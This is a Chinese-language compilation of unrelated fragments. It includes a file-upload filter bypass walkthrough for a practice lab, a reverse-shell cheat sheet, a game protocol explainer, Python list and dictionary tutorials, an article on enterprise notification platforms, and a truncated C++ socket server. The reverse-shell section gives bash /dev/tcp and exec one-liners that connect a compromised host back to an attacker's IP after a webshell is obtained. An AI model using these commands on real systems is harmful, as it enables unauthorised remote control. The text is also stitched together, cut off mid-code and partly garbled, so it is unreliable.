第十关 第十关使用的是双写后缀名进行绕过,他是去整个的php然后去进行解析
上传一个php文件
然后访问即可
第十一关 使用白名单的零零隔断进行操作
0x00 前言 在渗透测试的过程中,在拿到webshell以后,如果目标主机是Windows主机,则是通过开3389端口在远程连接,如果目标主机是linux服务器,一般我们都会选择反弹shell来进行操作。在这里总结下反弹shell常见的几种姿势。
0x01 Bash反弹 1.1 方法一 攻击者主机上执行监听:
nc -lvvp port
目标主机上执行:
bash -i >& /dev/tcp/x.x.x.x/port 0>&1#bash -i 打开一个交互的bash#>& 将标准错误输出重定向到标准输出#/dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口#0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互
注:/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。
inux shell下常用的文件描述符是:
1.标准输入 (stdin) :代码为 0 ,使用 < 或 << ;
2.标准输出 (stdout):代码为 1 ,使用 > 或 >> ;
3.标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。
另外由于不同Linux发行版之间的差异,该命令在某些系统上可能并不适用。
1.2 方法二 exec 0&0 2>&00196;exec 196<>/dev/tcp/x.x.x.x/4444; sh 196 >&196 2>&196/bin/bash -i > /dev/tcp/x.x.x.x/8080 01 2>&1
1.3 方法三 exec 5<>/dev/tcp/x.x.x.x/4444;cat while read line; do $line 2>&5 >&5; done 0x02 telnet反弹 2.
不管用的是什么样的协议方式,基本通讯的原理
到底层 都是 byte[]数组 传递。
1.协议的定义
协议本身只是 通讯时候 前后端 定义的变量类型和顺序的集合。
比如说,要做一个登陆的消息传递,
需要传递的内容是帐号密码
public class MsgLogin { public string m_strIDName = null; public string m_strPassWord = null; } 前后端都确认好,使用帐号密码登陆,那么这样一个类,就可以称之为一个协议了。
那么客户端填好帐号密码后,转成byte[] 通过Socket发送到服务器,服务器解析这个消息,得到帐号密码,就完成了一次通讯。
byte[] 的内容就是 m_strIDName转换成的byte[] 拼接上 m_strPassWord转换成的byte[]
2.消息号
例如登入,客户端通知服务器要登录了
那么服务器对应的也要回复给客户端,登录是成功或者失败。
那么服务器可以定义通知客户端的协议是:
public class MsgLoginCallBack { public bool m_isSuc = false; } 那么问题就来了,一个游戏里,可以会有好多的通讯,比如购买,点击,广播之类的。 而消息本身只是一串byte[]的内容,
接受端要知道这条消息要干嘛,那就需要消息号。
消息号本身只需要做一个唯一的标记,例如可以做一个枚举:
public enum OperateCode : ushort { C2S_LOGIN = 1, S2C_LOGIN = 2 } C2S = Client to Server
Python 中合并列表是非常常见的操作,本文提供6种方法实现列表的拼接:
通过 + 运算直接拼接
通过循环调用list.append()进行拼接
通过列表表达式拼接
通过 ‘*’ 解构方式实现拼接
通过内置的extend方法实现拼接
通过itertools.chain()实现拼接
下面对每种方法进行说明。
1. 通过 + 运算直接拼接
1
2
3
4
5
6
7
8
9# 初始化列表
list1 = [0, 1, 2]
list2 = [3,4, 5,]
list3 = [6, 7, 8, 9]
# 1. 通过 + 运算直接拼接
print('# 1. 通过 + 运算直接拼接')
result = list1 + list2 + list3
print(result)
控制台输出
1
2# 1. 通过 + 运算直接拼接
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
企业消息需要通知及时又不过度打扰,如果经由专门的消息管理平台送达,这个平台在设计上应该注意什么问题?
在企业日常运作中,一般有三种由企业发起的通知信息:
重要且正式的新闻通知,比如领导任命通知、新颁布的行政制度等,以正式的书面形式;宣传企业文化的图文资讯,比如公司活动的宣传文章等,以图文并茂的公众号形式;业务工作相关的工作通知,比如OA审批、客户催单等,以简短的文本信息形式。 今天主要是分享第三种,企业在进行业务通知上会遇到什么难题?
一、企业面临的问题 企业运作中有许多工作上的通知需要告知员工,比如你昨天忘记上班打卡了,要提醒你去处理考勤异常的情况;你负责的客户几个月没有下单了,要提醒你去跟进一下客户等等。
一开始,这类工作业务的通知是通过短信的形式去提醒员工。公司系统对接付费短信平台,如果有业务通知就给对应的员工发送短信。
这种方式的优势在于只要有了员工手机号,通知就可以及时送达。但劣势也十分明显,一是短信只能起到通知的作用,员工仍需去别的地方完成业务操作;二是短信的费用很高,对于员工上千甚至上万的企业来说,每天每人一条短信,一个月下来的费用是不容忽视的。
因此,越来越多的企业使用自己的即时通讯软件完成工作消息的通知。员工进入公司使用相应的账号登录APP,企业就可以完成基本的消息通知了。
员工也可以在APP上直接完成业务操作,无需更换任何设备。最重要的一点,APP的通知是免费的,在强如腾讯的企业都要提倡降本增效的大环境下,在工作通知这件事情上,APP通知无疑是有自建系统的企业所喜爱的。
二、业务流程 企业消息通知业务流程图
三、消息分类 首先,所有的消息通知都是基于实际的公司业务产生的。
消息要推送给公司员工,肯定是要在管理平台登记并通过审核才能进行,无管理的推送将会给员工带来不必要的困扰。
建立消息类型的目的:一是方便帮助员工进行消息的分类,可以自己筛选比较关心的通知;二是若员工对工作通知存有疑问,我们也可以快速定位到相关部门与负责人,进行问题的处理。
消息类型主要由以下部分组成:类型名称、负责人、负责部门、消息图标。
实例设计:
管理平台-消息类型页面样例
移动端-消息类型列表页样例
四、消息模版 有了消息分类,接下来就是对消息内容的管理。
内容管理是通过建立消息模版的方式进行的,主要为了以下三点:
确保推送样式的统一性,给用户整齐良好的视觉体验;重复的内容业务系统可以配置在模版里,每次推送只要推相关业务的变量值即可,方便业务系统的接入;根据公司业务需求提供更多基础配置选项,比如跳转方式。 消息模版的管理主要有两部分组成:业务基本信息,内容展示信息。
1. 业务基本信息 模版名称:日常管理模版的标识,如“OA申请审批通过。模版编码:业务系统用于调用推送接口的唯一标识。是否为待办事项:将消息标记为待办事项,通过突出的UI样式来告知用户重要性,并在用户处理之后标记为已处理。跳转方式:分为“跳转网页url/跳转工作应用/不跳转”等,许多业务可以在APP上直接完成,那用户在接收到之后便可直接点击跳转,进行业务的处理。 2. 内容展示信息 标题:一句话概述消息的通知内容,告知用户通知的大概内容。子标题/子内容:展示消息的详细信息,分段的样式也有利于用户的阅读。备注:如果实在是APP上无法处理的,就需要备注用户去哪里可以查看消息的详情并进行业务处理。标题/子内容需要支持表达式的录入,业务系统才可以通过模版推送动态的通知。 实例设计:
管理平台-消息模版页面样例
五、业务推送 业务系统在管理平台配置好消息类型与消息模版后,就可以在自己系统产生业务需要的时候进行通知推送了。
通过公司员工的唯一标识(如工号)确定推送员工的名单;使用模版编码确定对应的模版;传参内容变量值补充模版的内容信息;通过模版的网页url/模块id让用户跳转到对应页面。
六、员工接收 业务系统成功发送通知后,员工便可在APP上收到对应的工作通知,知悉消息的来源,明白通知的内容,并且快速在APP上完成业务处理,优化公司业务处理的流程,达到降本增效的目的。
如果不能在APP上进行业务处理,只是单纯的业务通知,也告知了用户去哪里可以查看消息的详情,形成业务的闭环。
实例设计:
员工接收通知流程样例
客户端上也可以根据公司实际需求,完善更多使用场景。比如用户对某类通知比较关注,可以将这类通知进行置顶,或者设置强提醒提示音等。
七、写在最后 在消息通知管理平台为上线前,公司自建系统的通知都是通过短信的方式进行发送,就算业务系统想接入APP推送,前期流程也是十分繁琐,前端用户的接收体验也是十分的差。
上线之后,在不到3个月的时间内,公司业务通知基本都通过管理平台进行APP推送,只有少数敏感信息会走短信通知比如工资条信息。整个项目为公司工作通知和节约成本作出了巨大贡献。
每个公司的运作都有自己的特殊性,这个方案在普用性的同时更是加入了个性化的需求设计。所以所有的方案都要根据实际的业务进行设计,解决实际的生产问题,不能与现实脱离。
消息通知管理平台是面向整个公司的平台,涉及多个业务系统。在实际工作中,如何跨部门合作进行平台推广,达到互利共赢的目的(毕竟这是要其它部门出人出力的),也是需要产品经理多多学习琢磨的。
本文由 @Rex 原创发布于人人都是产品经理,未经许可,禁止转载
题图来自 Unsplash,基于 CC0 协议
int processor(SOCKET _clientSock) { //第一次接受一个缓冲数据 char szRecv[1024] = {}; //5.接收客户端数据 //第一次收了header的数据包,只剩下CMD的数据长度,指针移动到数据包包体位置 //这里szRECV被接收到了有DataHeader的长度。数据仍在recv中储存,没有改变recv的数据大小,只是从recv开头中取了dataheader的大小的数据 //如果是szRecv那就默认从szRecv【0】的位置开始储存 DataHeader长度的数据,都是存在recv中 int nLen = recv(_clientSock, szRecv, sizeof(DataHeader), 0); //把recv当中的收到Dataheader长度的数据转化成DataHeader数据结构,存在header中 DataHeader* header = (DataHeader*)szRecv; if (nLen <= 0) { printf("客户端<%d>已经退出,任务结束。",_clientSock); return -1; } printf("收到命令:%d ,数据长度:%d\n", header->cmd, header->dataLength); //6.处理请求 if (nLen >= sizeof(DataHeader)) switch (header->cmd) { case CMD_LOGIN: { //取剩余的长度 // 收数据包的sock szRecv+sizeof(DataHeader)是一个存放数据的地方 存放数据的长度是header的datalength-dataheader //从clientsock中接收,指针从szRecv【0】+sizeof(dataheader)的地方储存长度为,包的长度-包头的长度的数据,都是存在szRecv中 //Recv是一个指针也就是头指针在Recv开头的位置,szRecv+sizeof(DataHeader)就是在szRecv中移动到头,0+sizeof(Dataheader)的位置 recv(_clientSock, szRecv + sizeof(DataHeader), header->dataLength - sizeof(DataHeader), 0); Login* login = (Login*)szRecv; //判断用户名和密码是否正确 std::cout << login->userName << "
python字典:
python字典是一种可变容器模型。可以储存任意类型对象。
字典由键值对组成,键值用 冒号(,)隔开,键值对之间用逗号隔开(,),整个字典包含在花括号({})中。
字典是无序的,但是键值对中的键必须是唯一的,键如果是字符串用引号括起来。
访问字典,类似访问列表,dict[key(注意引号)],访问字典中没有的键会报错。
修改字典:
1.添加键值对,类似列表,直接赋值,dict[key]=value.
2.修改键值对,方法同上。
删除字典数据:
1.删除单个键值对,类似删除列表,del dict[key]
2.清空整个字典,dict.clear().
3.删除整个字典,del dict
字典键的特性:
1.键必须是唯一的,如果重复赋值,取最后一次赋的值。
2.键必须是不可改变的,可以是字符串,数字,元组,但不可以是列表。
字典内置函数:
1.len(dict)——返回字典中键的总数。
2.str(dict)——将字典转化为可打印的字符串形式返回。
3.type(variable)——判断类型,如果为字典就返回dict
字典内置方法:
1.dict.cleat()——清空字典内所有的元素。
2.dict.copy()——返回一个字典的浅复制。
3.dict.fromkeys(seq[,value])——以列表seq里面的元素为键,以value为初始值,默认为none.
4.dict.get(key,default=none)——返回指定键的值,如果没有该值则返回默认default值。
5.key in dict——判断键是否在字典中,如果在返回true,不在返回false,一般用在条件语句中。
6.dict.items()——返回键值对的元组数组,一个键值对为一个元组,组成以元组为元素的列表。
7.dict.keys()——返回以键为元素组成的列表。
8.dict.setdefault(key,default=none)——查找键,如果键不存在则添加键,并赋值默认值,无返回。
9.dict.update(dict2)——将参数字典dict2更新到dict中,如果键存在更新值,如果键不存在就创建键值对,无返回。
10.dict.values()——以列表的方式返回所有的值。